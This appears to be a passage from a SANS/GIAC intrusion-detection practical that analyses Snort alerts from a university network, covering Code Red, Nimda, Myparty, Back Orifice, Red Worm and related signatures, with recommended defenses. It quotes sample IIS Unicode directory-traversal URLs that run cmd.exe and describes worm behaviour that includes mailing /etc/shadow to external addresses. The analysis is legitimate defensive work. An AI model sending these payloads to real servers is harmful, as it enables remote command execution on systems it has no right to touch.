1 instances of *WEB-IIS encoding access*

2 instances of *WEB-MISC http directory traversal*

24.162.83.132

2 instances of *WEB-IIS encoding access*

2 instances of *WEB-MISC http directory traversal*

11 instances of *spp_http_decode: CGI Null Byte attack detected*

16 instances of *spp_http_decode: IIS Unicode attack detected*

IDS552/web-iis_IIS ISAPI Overflow ida nosize

Top Five Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
208.246.141.116	1	1	1	1
207.176.29.166	1	1	1	1
200.65.243.212	1	1	1	1
164.77.200.51	1	1	1	1
64.131.173.9	1	1	1	1

Top five Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.150.246	2	27	2	5
MY.NET.150.84	1	6	1	4
MY.NET.5.96	1	262	1	14
MY.NET.150.101	1	68	1	7
MY.NET.5.92	1	6	1	4
MY.NET.150.6	1	28	1	4

Brief Description

An attacker attempted to exploit the destination web servers using an exploit based on Microsoft's IDA and IDQ Index Server ISAPI Extension vulnerability. An unchecked buffer in the Microsoft IIS Index Server ISAPI Extension could enable a remote intruder to gain SYSTEM access to the web server. More than likely this is a result of the Code Red Worm at work and not a direct targeted attack. Because the session data is not available I cannot be certain that this was in fact the Code Red Worm or that is was successful.

If vulnerable, the infected server will scan outbound for other servers for two hours, and then deface your web site by corrupting the cached version of your main web page. It will not modify the actual html pages. A reboot of the server prevents the worm from scanning, but due to the number of infected computers scanning the Internet, unpatched machines are subject to reinfection.

Defense Recommendations

Reviewing the log data over the course five days shows no evidence of unusual outbound activity originating from the target IP's. Based on this information the attacks were most likely not successful.

Recommendations consist of ensuring all Microsoft IIS servers on your network should updated with the latest Service Packs and patches. For additional information you can refer to the link below:
http://www.cert.org/advisories/CA-2001-13.html

Correlations

Searching www.google.org I was unable to find correlated activity.

Searching our SOC attack database reveals the following source IP history. Based on the history below we can be assured these are real attacks originating from infected servers.

IP Address: 208.246.141.116
Seen first: 1/19/2002 9:12:24 AM
Days seen: 6

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
IIS:IDA-ISAPI-OVERFLOW	6	5	1/19/2002 9:12:24 AM	7/15/2002 5:23:04 PM

IP Address: 207.176.29.166
Seen first: 3/13/2002 3:13:14 AM
Days seen: 8

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
IIS:IDA-ISAPI-OVERFLOW	7	4	3/13/2002 3:13:14 AM	5/11/2002 6:55:13 PM
HTTP_IIS_Hex_Evasion	1	1	4/13/2002 10:55:25 AM	4/13/2002 10:55:25 AM
HTTP_IIS_UTF8_Evasion	1	1	4/13/2002 10:55:25 AM	4/13/2002 10:55:25 AM
HTTP Unicode Wide Encoding	1	1	4/13/2002 10:55:25 AM	4/13/2002 10:55:25 AM

IP Address: 164.77.200.51
Seen first: 2/7/2002 1:31:37 AM
Days seen: 3

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
IIS:IDA-ISAPI-OVERFLOW	3	3	2/7/2002 1:31:37 AM	3/14/2002 9:39:30 AM

IP Address: 64.131.173.9
Seen first: 9/21/2001 1:45:15 AM
Days seen: 4

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
IIS:IDA-ISAPI-OVERFLOW	4	3	9/21/2001 1:45:15 AM	3/18/2002 3:16:01 AM

WEB-MISC http directory traversal

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
68.49.32.46	2	3	1	1
151.196.170.156	2	2	1	1
24.162.83.132	2	31	1	1
192.233.52.163	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.96	5	262	3	14
MY.NET.153.159	2	133	1	7

Brief Description

This alert represents attempts to traverse the targets directories using known vulnerabilities in either the web server daemon or CGI script. Although the session data is unavailable, most likely this is the use of the double dot "../" directory traversal

exploitation when extended UNICODE characters are used in place of "/" and "\". Examples of this type of attack are seen below:

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir

Use of this exploit described above could enable a remote user to execute operating system commands as IUSR machinename account. A successful attack could result in the same privileges as a user who could successfully log onto the system possessing no credentials.

This signature triggered 7 alerts from 4 source IP's against 2 destination IP's. The summary can be seen below.

Source IP 24.162.83.132 was the most active among this alert triggering the following signatures:

- 2 instances of *WEB-IIS encoding access*
- 2 instances of *WEB-MISC http directory traversal*
- 11 instances of *spp_http_decode: CGI Null Byte attack detected*
- 16 instances of *spp_http_decode: IIS Unicode attack detected*

Other than the findings above additional searches for 24.162.83.132 could not be found.

Additional information may be viewed at the following link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884

Defense Recommendations

Ensure that all IIS servers are updated with the latest patches and Service Packs. You can find them at www.microsoft.com download center.

Correlations

No correlations were found concerning the source IP's.

Port 55850 udp - Possible myserver activity - ref. 010313-1

Top 5 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
MY.NET.5.79	2	3	1	1
MY.NET.6.49	2	3093	2	119
64.124.157.16	1	145	1	2
MY.NET.6.50	1	2283	1	117

MY.NET.6.52	1	2601	1	119

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.1.3	2	3	1	1
MY.NET.153.175	1	2045	1	1630
MY.NET.153.168	1	107	1	8
MY.NET.153.210	1	182	1	6
MY.NET.153.211	1	1704	1	1338

Brief Description

Myserver is a Denial of Service agent that runs on UDP port 55850. Attackers attempt to exploit Linux hosts via well-known vulnerabilities such as WU-FTP-2.6.0 or RPC stat. Once the target is rooted the attacker downloads and executes a rootkit containing scanning tools, and Trojan binaries into the /lib , thus opening a backdoor on UDP port 55850. Once executed the Trojan binaries become undetectable via the ps and ls commands. It is a standard practice for the attacker to patch the vulnerabilities on the Trojanized host once exploited and then use the backdoor to connect to the victim. Additional details can be found at the following links:
http://www.giac.org/practical/Jeff_Holland_GCIA.doc

Please note that source IP 64.124.157.16 is running Cougar 4.1.0.3923 streaming video and all sources have triggered Red Worm signatures within the five day period. Information concerning the Cougar servers can be found below in the Red Worm analysis.

Defense Recommendations

Implement a Stateful firewall and block all unauthorized inbound ephemeral traffic. Inspect all suspected Trojanized internal Linux hosts for evidence of compromise and/or misuse. The ps and ls commands will not provide the necessary information so it is suggested that you use the *netstat* command to determine any outbound or inbound traffic over port 55850. In addition you should check the /lib directory for any unknown files such as "myserver" or "anivnew" which are common names for this type of tool. If infected the host should be taken off line, rebuilt and patched immediately. Also, internal host MY.NET.5.79 appears to be scanning for port 53 internally. This could give a clear indication that it has been infected with Myserver.

Correlations

No correlations could be found searching www.google.org or our SOC attack database.

RPC tcp traffic contains bin_sh

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
65.57.83.15	6	6	2	2
216.136.171.200	1	1	1	1
65.214.56.74	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.88.189	5	5	1	1
MY.NET.150.131	1	1	1	1
MY.NET.88.130	1	1	1	1
MY.NET.150.247	1	1	1	1

Brief Description

The RPC Portmapper protocol runs over port 111. Its existence is to serve clients for specific services and convert RPC program numbers into TCP or UDP protocol port numbers. When started the RPC server will direct the portmapper as to which port number it is listening on, and which RPC program numbers it will serve. When a client makes an RPC request to a given program number, it will first contact portmapper on the server machine to determine the port number where RPC packets will be sent. RPC usually runs as root and as such it should only be run internally.

This particular alert appears to have triggered based on the destination ports, one of which is a portmapper service port 32807. It is possible that the source IP has attempted to open a shell on the destination IP's, but without the ability to view the session data I cannot make that determination with great confidence. Without the session data there exists an alternate possibility. Viewing the logs shows a source port of 80, which may indicate that this is just return traffic from a external web server and the signatures triggered due to the ephemeral ports that were in use. Further investigation is strongly encouraged. If the signature is tuned to actually look for a bin_sh than this event becomes critical whether it is inbound or outbound. If inbound or outbound you need to determine if this is authorized activity.

Sample of logs captured on your network:

04/01-16:38:55.431526 [**] RPC tcp traffic contains bin_sh [**] 65.57.83.15:80 -> MY.NET.88.189:49996

04/02-12:49:29.577982 [**] RPC tcp traffic contains bin_sh [**] 216.136.171.200:80 -> MY.NET.150.247:32807
04/04-17:30:34.399479 [**] RPC tcp traffic contains bin_sh [**] 65.214.56.74:80 -> MY.NET.88.130:32912

Defense Recommendations

Many well known vulnerabilities exist concerning the RPC protocol both old and new. Such vulnerabilities consist of rpc.cmsd, statd, and ToolTalk. Because of these vulnerabilities and the fact that RPC runs as root it has become a high target for hackers. As such great care should be taken to secure the use of RPC on your network. A Stateful firewall should be implemented with all RPC port 111 inbound denied. To protect from internal mischief care should be taken to patch RPC with the latest updates.

Correlations

Searching our SOC attack database shows the following activity from source IP's 65.57.83.15, 216.136.171.200 and 65.214.56.74.

Source IP (Attacker) Details
IP Address: 65.57.83.15
Seen first: 4/8/2002 1:25:06 PM
Days seen: 1

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
WEB:DOUBLE-SLASH	1	1	4/8/2002 1:25:06 PM	4/8/2002 1:25:06 PM

IP Address: 216.136.171.200
Seen first: 5/1/2001 9:56:13 PM
Days seen: 18

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
NOOP:X86	16	6	5/24/2001 1:25:40 PM	4/11/2002 8:30:59 PM
FTP:BAD-LOGIN	2	2	12/14/2001 9:09:27 PM	1/15/2002 4:01:01 PM
HIPORT:SHELL-SYSTEM	1	1	4/11/2002 11:41:03 PM	4/11/2002 11:41:03 PM
HTTP_ActiveX	1	1	5/1/2001 9:56:13 PM	5/1/2001 9:56:13 PM
RAMEN-WORM	1	1	7/17/2002 2:21:10 PM	7/17/2002 2:21:10 PM

IP Address: 65.214.56.74
Seen first: 5/31/2002 7:35:44 PM
Days seen: 1

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
NOOP:X862	1	1	5/31/2002 7:35:44 PM	5/31/2002 7:35:44 PM
NOOP:X86	1	1	5/31/2002 7:35:44 PM	5/31/2002 7:35:44 PM

MYPARTY - Possible My Party infection

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
MY.NET.153.193	9	9347	1	29
MY.NET.153.170	8	13	1	5
MY.NET.153.199	5	2736	1	50

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
209.151.250.170	22	22	3	3

Brief Description

Several reports were made January 28, 2002 about a new e-mail virus worm called W32/Myparty. Origins are not known, however, due to the worm's operational behavior it appears as if someone in Russia created it. Once downloaded the worm checks keyboard layouts equal to 0419 (Russian) and if found the worm copies itself to the recycle bin and terminates its process. However, if the keyboard is not Russian, the worm will insert a backdoor into the users startup folder, and once activated it is controlled by a CGI script at IP 209.151.250.170 (http://www.f-secure.com/v-descs/myparty.shtml).

A Whois query reveals no information on this destination IP address. Based on the alert logs all three internal source IP's have triggered this alert for a total of 22 times in the attempt to communicate with destination IP 209.151.250.170. Although the session data is not available the logs alone help conclude that the source IP's have most likely been infected with the Myparty virus.

Defensive Recommendations

Update anti-virus across your internal network. Investigate the source IP to determine if the host has been infected with the Myparty virus. Investigating the logs and checking for a process on the hosts called REGCTRL.EXE will help determine if the worm is active. The worm reacts differently to WINNT than to 9x based operating systems. If the source is 9x based check the recycle bin for evidence of the REGCTRL.EXE file that the worm copied when downloaded. If WINNT, the worm was most likely copied as root of C: drive as REGCTRL.EXE. Last but not least consult your staff about the dangers of downloading e-mail .exe files.

Correlations

You can find detailed information about this worm when searching through the www.google.org search engine.

Back Orifice

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
MY.NET.6.48	9	3572	7	119
MY.NET.6.49	6	3093	5	119
MY.NET.6.52	5	2601	5	119
MY.NET.6.50	3	2283	2	117

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.152.13	3	61	1	6
MY.NET.153.185	2	124	1	8
MY.NET.153.171	2	48	1	7
MY.NET.152.157	1	177	1	5
MY.NET.152.182	1	153	1	7

Brief Description

Back Orifice is a remote connection application that runs on Windows 9x hosts over port 31337. Social engineering is usually the culprit of the infected target being passed around via e-mail, ICQ, and IRC channels. When activated, Back Orifice allows an attacker with a requesting client to remotely connect to the victim host with administrative privileges, thus controlling the victim as if the attacker were logged in locally. With little or no indication a victim is subject to an attackers use by execution of programs, deleting, uploading, downloading files, formatting hard drives and modifying the registry keys. Additional information concerning Back Orifice can be viewed at the following link:
http://www.giac.org/practical/Scott_Shinberg_GCIA.doc

Defense Recommendations

Update internal workstation anti-virus software and consult users on the insecurities of opening .exe programs via e-mail. The firewall should also be configured to block inbound ephemeral ports to prevent remote connection in case an internal host does become infected. I would also consider egress filtering of specific ports in the prevention of further infection.

Correlations

No correlations can be found concerning these source IP's.

WEB-CGI ksh access

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
207.172.11.147	74	75	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.96	74	262	1	14

Brief Description

This event represents an attacker attempting to execute arbitrary commands on the ksh shell interpreter installed in the cgi-bin directory on the target. Correlating evidence shows in the logs that the source IP triggered *IDS475/web-iis_web-webdav-propfind* signature at the same time as the *WEB-CGI ksh access* signature against the same destination host MY.NET.5.96. Details on the *IDS475/web-iis_web-webdav-propfind* alert can be viewed above. This correlation raises this event to a possible critical severity. Depending on what the session data displays, this internal host MY.NET.5.96 could possibly have been compromised.

Defense Recommendations

SANS administrators should investigate the session data if the source activity is not authorized. If not authorized, then the destination should be examined for evidence of compromise, and a block rule should be implemented to prevent further inbound activity from the source IP.

Correlations

Searching our SOC attack database results in activity from this source IP over the past year.

Source IP (Attacker) Details
IP Address: 207.172.11.147
Seen first: 1/13/2001 11:42:55 PM
Days seen: 82

Watchlist 000222 NET-NCFC

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
159.226.83.23	242	242	1	1
159.226.47.197	50	50	1	1
159.226.236.23	24	24	1	1
159.226.87.6	4	4	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.150.143	242	1545	1	7
MY.NET.153.153	50	638	1	86
MY.NET.88.186	24	24	1	1
MY.NET.153.164	4	1162	1	150

Brief Description

All alerts triggered by this signature demonstrate some unusual activity. The fact that all source IP's originate from the Computer Network Center Chinese Academy of Sciences should be cause for alarm. There is some file sharing that takes place between source IP 159.226.87.6 and destination IP MY.NET.153.164 and 159.226.83.23 and MY.NET.150.143. The other two sources are just as interesting because they involve proxy port 8080 and HTTP communications. It's possible that this latter half of activity could be return data from within the network. The more interesting of the two is that source IP 159.226.47.197 does not query in Sam Spade as an available web server event even though the logs suggest that this is the activity taking place. Below is a caption of the log data from all four source IP's. Although I cannot view the signature this appears to be a custom made tuned to monitor traffic originating from the source network block. Additional activity was found in the following GIAC link: http://www.giac.org/practical/Jeff_Holland_GCIA.doc

```
04/02-20:22:23.783156 [**] Watchlist 000222 NET-NCFC [**] 159.226.83.23:28117 -> MY.NET.150.143:4662
04/02-20:22:24.219917 [**] Watchlist 000222 NET-NCFC [**] 159.226.83.23:28117 -> MY.NET.150.143:4662
```

```
04/03-22:04:55.635179 [**] Watchlist 000222 NET-NCFC [**] 159.226.47.197:80 -> MY.NET.153.153:1752
04/03-22:04:55.721635 [**] Watchlist 000222 NET-NCFC [**] 159.226.47.197:80 -> MY.NET.153.153:1752
```

```
04/02-20:27:27.359182 [**] Watchlist 000222 NET-NCFC [**] 159.226.236.23:8080 -> MY.NET.88.186:2497
```

04/02-20:27:27.992201 [**] Watchlist 000222 NET-NCFC [**] 159.226.236.23:8080 -> MY.NET.88.186:2497

04/05-16:04:42.300496 [**] Watchlist 000222 NET-NCFC [**] 159.226.87.6:6346 -> MY.NET.153.164:2353

04/05-16:04:42.971925 [**] Watchlist 000222 NET-NCFC [**] 159.226.87.6:6346 -> MY.NET.153.164:2353

Defensive Recommendations

This is rather unusual traffic considering China is a well-known source for malicious activity on the Internet. I can only assume that this custom signature was created to monitor activity from the source network block. The SANS administrator who created this signature should investigate the session data and determine if this activity is authorized. In the mean time I would recommend blocking all activity to and from this external network at the gateway or firewall.

Correlations

Correlations from the source network were found at http://www.giac.org/practical/Jeff_Holland_GCIA.doc.

WEB-MISC Attempt to execute cmd

Top 5 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
194.202.147.40	166	247	13	13
213.86.1.137	63	96	6	6
217.85.93.106	46	66	28	28
216.76.16.133	41	61	4	4
211.90.223.78	41	64	4	4

Top 5 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.150.195	104	157	12	12
MY.NET.88.187	68	96	9	9
MY.NET.150.83	51	80	7	8
MY.NET.88.217	46	71	4	4
MY.NET.150.101	44	68	6	7

Brief Description

Due to a canonical vulnerability that exists within Microsoft's IIS 4.0 and 5.0 IIS servers attackers are able to execute operating system commands within the URL and access files and folders, deface html files and attack third parties with the privileges of IUSR machinename account or higher. The majority of these alerts were most likely triggered by the Rampant Nimda worm that is so active on the Internet. This alert triggered 723 times from 28 source IP's against 34 destination IP's over the course of a five day period. All sources triggered not only the *WEB-MISC Attempt to execute cmd* signature but the *spp_http_decode: IIS Unicode attack detected signature* as well.

Defense Recommendation

Sans administrators should ensure that all Microsoft IIS servers are patched with the latest update and Service Packs. You can find the appropriate patches and Service Packs at www.microsoft.com download center.

Correlations

Although www.google.org resulted in no findings of the top source IP 194.202.147.40 a quick search in our own database shows the following similar activity.

Source IP (Attacker) Details

IP Address:	194.202.147.40
Seen first:	2/28/2002 8:25:07 PM
Days seen:	9

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
TCP-SWEEP	4	1	3/5/2002 8:22:35 AM	4/2/2002 1:00:46 AM
IIS:UNICODE3	11	3	2/28/2002 8:25:07 PM	4/5/2002 7:36:00 AM
IIS:UNICODE2	11	3	2/28/2002 8:25:07 PM	4/5/2002 7:36:01 AM
IIS:CMD.EXE3	11	3	2/28/2002 8:25:07 PM	4/5/2002 7:36:02 AM
IIS:ROOT.EXE	11	3	2/28/2002 8:25:07 PM	4/5/2002 7:36:02 AM
Horizontal scan	1	1	4/2/2002 3:45:42 PM	4/2/2002 3:45:42 PM
Horizontal scan for HTTP	1	1	4/2/2002 3:45:42 PM	4/2/2002 3:45:42 PM

Watchlist 000220 IL-ISDNNET-990517

Top 5 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
212.179.35.118	1890	1890	4	4
212.179.40.132	1285	1285	1	1

212.179.27.176	606	606	4	4
212.179.35.8	476	476	1	1
212.179.48.2	209	209	2	2

Top 5 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.150.143	1285	1545	1	7
MY.NET.153.164	928	1162	4	150
MY.NET.153.174	775	863	4	39
MY.NET.153.163	576	747	4	12
MY.NET.150.204	476	476	1	1

Brief Description

This signature triggered 4840 times by 19 different source IP's against 15 different destination IP's, the majority of them probing for port 1214. Most likely this activity represents Morpheus, a well-known peer-to-peer file-sharing program communicates on tcp port 1214. Although not necessarily insecure when an internal host is running this application as client it could be significantly insecure if running in server mode. If the internal hosts in question are operating Morpheus or some other type of file sharing program as a server, it is possible for an external source to share internal directories or the entire hard drive if not locked down. This practice is considered insecure and may put your entire internal network at risk. Reviewing the logs indicates that external sources are attempting to communicate inbound on port 1214. Similar activity was found at the following GIAC link:
http://www.giac.org/practical/Rick_Yuen_GCIA.doc

Defense Recommendations

This appears to be a custom signature configured to trigger when traffic is seen inbound or outbound from the source network block. The administrator who created this signature should investigate the session data and logs to determine the authorization and nature of this activity.

It is recommended that you investigate the destination IP's and determine if they are running Morpheus in server mode. If this is the case then the server should be turned off and the application, if allowed by security policy, should be reconfigured as client, and the sharing capabilities should be restricted as much as possible.

Correlations

The following SANS paper was found speaking about this particular incident:

High port 65535 udp - possible Red Worm – traffic

The Red Worm or Adore Worm, as it is also known, is a Linux based Internet worm that is programmed to exploit several known vulnerabilities within the Linux product line. Similar to the Ramen and L10n worms, the Red Worm attempts to exploit vulnerabilities in the BIND named, wu-ftpd, rpc.statd and LPRng services.
Red Worm scans across B class networks probing for any of the four vulnerabilities listed above. When a vulnerability is found the worm will download via a web server in China and store itself in the /usr/local/bin/lib directory as "start.sh". Once executed, the "start.sh" replaces the existing ps binary hiding processes that would give evidence the worm exists and then start probing the Internet for existing vulnerable Linux servers. In addition, the worm will also replace the /sbin/klogd with a Trojanized backdoor which is activated when it receives a ping packet of the correct size, thus opening a shell on udp port 65535 and then make attempts to send copies of the hosts /etc/shadow file to the following four different email addresses adore9000@21cn.com, adore9000@sina.com, adore9001@21cn.com, adore9001@sina.com. Additional information about the Red Worm may be found here: http://www.sans.org/y2k/adore.htm

Sampling the external source IP's, I have determined that the majority of them query as a Cougar 4.1.0.3860 web server running streaming media. The only information I could discern from a search on Google is the following; "Media Server (formerly Tiger, now code-named Cougar), originally designed for the mythical 500 channels of interactive TV. Microsoft is reported to be "repurposing" Cougar for its "Broadcast PC" initiative that's intended to create links between TV programming and the Web, as well as for high-bandwidth cable modems that can deliver interactive magazines enhanced with full-screen, full-motion vide."
http://translate.google.com/translate?hl=en&sl=de&u=http://www.netsystems.ch/support/access97SpecEd/htindex.htm&prev=/search%3Fq%3D%2522cougar%2Bmedia%2Bserver%2522%26hl%3Den%26lr%3D%26ie%3DUTF-8%26oe%3DUTF-8

If this activity truly is streaming media and is considered authorized activity, then majority of this traffic should be considered false positives. Only reviewing the session data can determine this.

Defense Recommendations

Due to the significant number of possible infected internal hosts I would recommend using a scanning tool such as nmap to probe your network for evidence of services running on udp port 65535.

A Stateful firewall set in place configured to block all inbound ephemeral ports would help along with egress filtering on the specific port Red Worm listens on.

You may consider updating the Snort IDS, ensuring it has an /etc/shadow signature configured, and you may consider writing custom signatures that alert to outbound e-mail attempts to the four known email destinations associated with Red Worm.

I would also strongly encourage you to patch all Linux hosts with the latest updates. If an infected host is found I would recommend rebuilding the entire system. Deleting the worm from the host will not guarantee sanitation of the system.

If this traffic turns out to be streaming media I would consider reconfiguring the Red Worm signature to reduce the amount of false positives.
More information concerning Red Worm can be found at this link below:
http://www.europe.f-secure.com/v-descs/adore.shtml

Correlations

No correlations were found

CGI Null Byte attack detected

External sources triggering this attack signature

24.162.83.132	11	31	1	1
12.91.161.167	16	16	1	1

Internal destinations receiving this attack signature

MY.NET.5.96	172	262	4	14
MY.NET.153.159	11	133	1	7

Brief Description

An article in the magazine Phrack, issue 55 describes how a “Null Byte" could result in PERL based cgi-bin script compromise (http://www.phrack.com/show.php?p=55&a=8). The alert represents a communication request with the use of %00. If the http decoding routine sees a %00 in an http request, it should trigger this signature. It is also probable that the signature will trigger when attempts are made to view the contents of a targets .cgi or .pl files. If successful, the session data should include the source code to the victim’s script within the server’s response.

If the target uses cookies you may see a high false positive rate with URL encoded binary data, or if you're scanning port 443 and picking up SSLencrypted traffic (http://archives.neohapsis.com/archives/snort/2000-11/0244.html). Due to the high level of internal host triggering this signature I believe that most of these are false positives.

The source IP's below should be closely investigated because of the likelihood they are generating real attacks.

Defense Recommendations

Ensure all web servers vulnerable to this type of attack have been patched with the latest updates. Investigate the two destination IP's in question to determine any evidence of compromise or misuse. Carefully review the session data of the internal source IP's that appear to be attacking external sources.

Correlations

No correlations were found concerning the source IP's.

IIS Unicode attack detected

Top 5 external sources triggering this attack signature

Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
213.86.1.137	33	96	6	6
211.90.223.78	23	64	4	4
216.76.16.133	20	61	3	4
217.85.93.106	20	66	20	2
211.96.99.59	18	49	3	3

Top 5 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
211.115.213.202	8607	8607	18	18
211.115.213.207	2874	2874	16	16
211.233.29.218	2289	2289	21	21
211.32.117.26	1760	1760	13	13
61.78.53.102	1582	1582	1	1

Brief Description

This event triggered 86587 alerts from 182 source IP's against 1017 destinations. The fact that the majority of source IP's are internal raises some concern. These sources are most likely University servers and the alerts could represent that they have been

compromised by the Nimda or Code Red worms and are now scanning outbound attempting to propagate.

On the other hand, based on a thread found in Neohapsis archives, http://archives.neohapsis.com/archives/snort/2001-08/0528.html this signature is subject to a high false positive rate. If this is the case then more reliance on other signatures such as *WEB-MISC Attempt to execute cmd* and *WEB-MISC http directory traversal* should be utilized.

An interesting note to make here is that nearly all external sources triggering this signature also triggered the *WEB-MISC Attempt to execute cmd* signature in addition to the *spp_http_decode: IIS Unicode attack detected* with the same timestamps. And nearly all the internal source IP's only triggered the *spp_http_decode: IIS Unicode attack detected* signature. Although I cannot review the session data this could suggest the majority of the internal source IP's may be triggering false positives.

Defense Recommendations

It is imperative that you investigate the session data and logs on these alerts to determine if these are real attacks- particularly the internal sources that triggered the alerts. In addition you should ensure that all IIS servers are updated with the latest patches and Service Packs. These can be obtained at www.microsoft.com download center.

Correlations

A search from our database resulted in the following history seen below.

IP Address: 213.86.1.137
Seen first: 2/28/2002 9:23:29 AM
Days seen: 9

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
TCP-SWEEP	1	1	4/6/2002 12:35:33 PM	4/6/2002 12:35:33 PM
IIS:UNICODE3	11	4	2/28/2002 9:23:29 AM	4/8/2002 4:55:45 AM
IIS:UNICODE2	11	4	2/28/2002 9:23:29 AM	4/8/2002 4:55:46 AM
IIS:CMD.EXE3	11	4	2/28/2002 9:23:29 AM	4/8/2002 4:55:46 AM
IIS:ROOT.EXE	11	4	2/28/2002 9:23:29 AM	4/8/2002 4:55:47 AM

IP Address: 211.90.223.78
Seen first: 3/7/2002 8:09:35 AM
Days seen: 3

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date

IIS:UNICODE3	4	2	3/7/2002 8:09:35 AM	4/2/2002 8:00:19 PM
IIS:UNICODE2	4	2	3/7/2002 8:09:35 AM	4/2/2002 8:00:19 PM
IIS:CMD.EXE3	4	2	3/7/2002 8:09:36 AM	4/2/2002 3:50:36 AM
IIS:ROOT.EXE	4	2	3/7/2002 8:09:36 AM	4/2/2002 3:50:38 AM

IP Address: 216.76.16.133
Seen first: 3/23/2002 11:35:53 AM
Days seen: 7

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
TCP-SWEEP	2	2	3/24/2002 4:15:07 AM	3/28/2002 9:45:47 AM
IIS:UNICODE3	6	3	3/23/2002 11:35:53 AM	4/2/2002 9:05:59 PM
IIS:UNICODE2	6	3	3/23/2002 11:35:53 AM	4/2/2002 9:05:59 PM
IIS:CMD.EXE3	7	4	3/23/2002 11:35:53 AM	4/2/2002 9:05:59 PM
IIS:ROOT.EXE	7	4	3/23/2002 11:35:53 AM	4/2/2002 9:05:59 PM

IP Address: 211.96.99.59
Seen first: 8/11/2001 5:35:14 AM
Days seen: 16

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
TCP-SWEEP	1	1	8/11/2001 5:35:14 AM	8/11/2001 5:35:14 AM
IIS:UNICODE3	19	8	2/7/2002 4:51:34 AM	4/8/2002 1:35:03 AM
IIS:UNICODE2	19	8	2/7/2002 4:51:34 AM	4/8/2002 1:35:04 AM
IIS:CMD.EXE3	19	8	2/7/2002 4:51:35 AM	4/8/2002 1:35:04 AM
IIS:IDA-ISAPI-OVERFLOW	1	1	9/1/2001 7:41:15 AM	9/1/2001 7:41:15 AM
IIS:ROOT.EXE	19	8	2/7/2002 4:51:35 AM	4/8/2002 1:35:04 AM

Top 10 Source IP's from Alert Logs

Rank	Total # Alerts	**Source IP**	# Signatures triggered	Destinations involved
rank #1	16040 alerts	**MY.NET.153.197**	3 signatures	(20 destination IPs)
rank #2	9347 alerts	**MY.NET.153.193**	3 signatures	(29 destination IPs)
rank #3	7236 alerts	**MY.NET.153.171**	2 signatures	(93 destination IPs)
rank #4	4852 alerts	**MY.NET.153.146**	2 signatures	(115 destination IPs)
rank #5	4605 alerts	**MY.NET.153.149**	2 signatures	(10 destination IPs)
rank #6	4446 alerts	**MY.NET.153.208**	3 signatures	(21 destination IPs)
rank #7	3572 alerts	**MY.NET.6.48**	2 signatures	(119 destination IPs)

rank #8	3487 alerts	**MY.NET.153.153**	2 signatures	(33 destination IPs)
rank #9	3434 alerts	**MY.NET.153.120**	1 signatures	(55 destination IPs)
rank #10	3336 alerts	**MY.NET.153.124**	1 signatures	(79 destination IPs)

Top 10 Destination IP's from Alert Logs

Rank	Total # Alerts	**Destination IP**	# Signatures triggered	Originating sources
rank #1	26730 alerts	**209.10.239.135**	1 signatures	(7 source IPs)
rank #2	8607 alerts	**211.115.213.202**	1 signatures	(18 source IPs)
rank #3	6563 alerts	**152.163.210.75**	2 signatures	(3 source IPs)
rank #4	4313 alerts	**MY.NET.153.143**	2 signatures	(3343 source IPs)
rank #5	3950 alerts	**207.189.79.124**	2 signatures	(3 source IPs)
rank #6	2874 alerts	**211.115.213.207**	1 signatures	(16 source IPs)
rank #7	2770 alerts	**207.189.75.40**	2 signatures	(3 source IPs)
